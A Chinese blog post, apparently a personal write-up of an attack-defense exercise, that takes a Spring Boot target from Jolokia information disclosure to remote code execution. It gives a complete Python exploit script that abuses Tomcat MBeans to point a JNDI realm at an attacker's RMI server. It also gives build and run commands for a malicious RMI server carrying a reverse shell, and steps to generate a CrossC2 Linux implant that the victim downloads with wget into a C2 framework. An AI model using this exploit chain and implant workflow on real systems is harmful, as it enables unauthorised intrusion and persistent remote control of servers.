某攻防的spring信息泄露到rce

某攻防的spring信息泄露到rce

拿到目标对其信息收集发现ip端口下有个小绿叶这不spring吗!!d2b5ca33bd170815

对其目录进行扫描发现存在/jolokia/list目录,搜索jndi字样还真有!这rec不就可能了嘛

d2b5ca33bd170644

github下载rmi服务

https://github.com/mpgn/Spring-Boot-Actuator-Exploit/tree/master/maliciousRMIServer

修改 EvilRMIServer.java 文件,RMI远程监听的端口,和反弹shell的地址和端口 

d2b5ca33bd171817

注意:在vps上部署需mvn环境及jdk环境

在maliciousRMIServer目录下运行(可能编译的时间会比较长)

mvn clean install

编译成功会生成以下文件,进入target文件中开启rmi服务d2b5ca33bd172949

 java -Djava.rmi.server.hostname=xxxxxxxxxxxx -jar RMIServer-0.1.0.jar

d2b5ca33bd173114

vps上监听以上设置好的端口

import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}
#运行Realm,触发JNDI 注入
start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
    rep = req.post(url, json=i)
    pprint(rep.json())

运行以上脚本即可反弹到vps

d2b5ca33bd173553

d2b5ca33bd173613

搞半天原来是个linux的!之前打靶场和实战碰到的内网都是在windows服务器下的,这次也是一边打一边学习

linux内网很想思路无非就是

  1. 翻一下文件,一些数据库及一些配置文件,有无敏感信息泄露
  2. 探测内网机器是否存在着弱口令等
  3. 扫描别的存活机器有无永恒之蓝之类的漏洞

先把服务上线到c2上方便管理,好像在c2上没有linux直接上线的方法,就要引用出CrossC2了

https://github.com/gloxec/CrossC2

要把该工具放到c服务器上
d2b5ca33bd141750

./genCrossC2.Linux [vps-ip] [vps-ip-port] null null Linux x64 test

执行生成木马,并开启http服务

d2b5ca33bd142042

c2接听以上设置的端口

目标机器利用wget下载该木马,赋予权限即可上线至c2d2b5ca33bd142118

8e2576d197142502

虽然上线了,但是不知道为啥插件用不了

d2b5ca33bd142720

后续:搭了个隧道,对fscan对内网梭哈,巴拉巴拉巴拉太菜了打不下去了

472b3f1c4d142901

有什么不足的希望各位大佬补充补充!

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
e9e9e9的头像-FancyPig's blog披萨会员
评论 抢沙发

请登录后发表评论

    暂无评论内容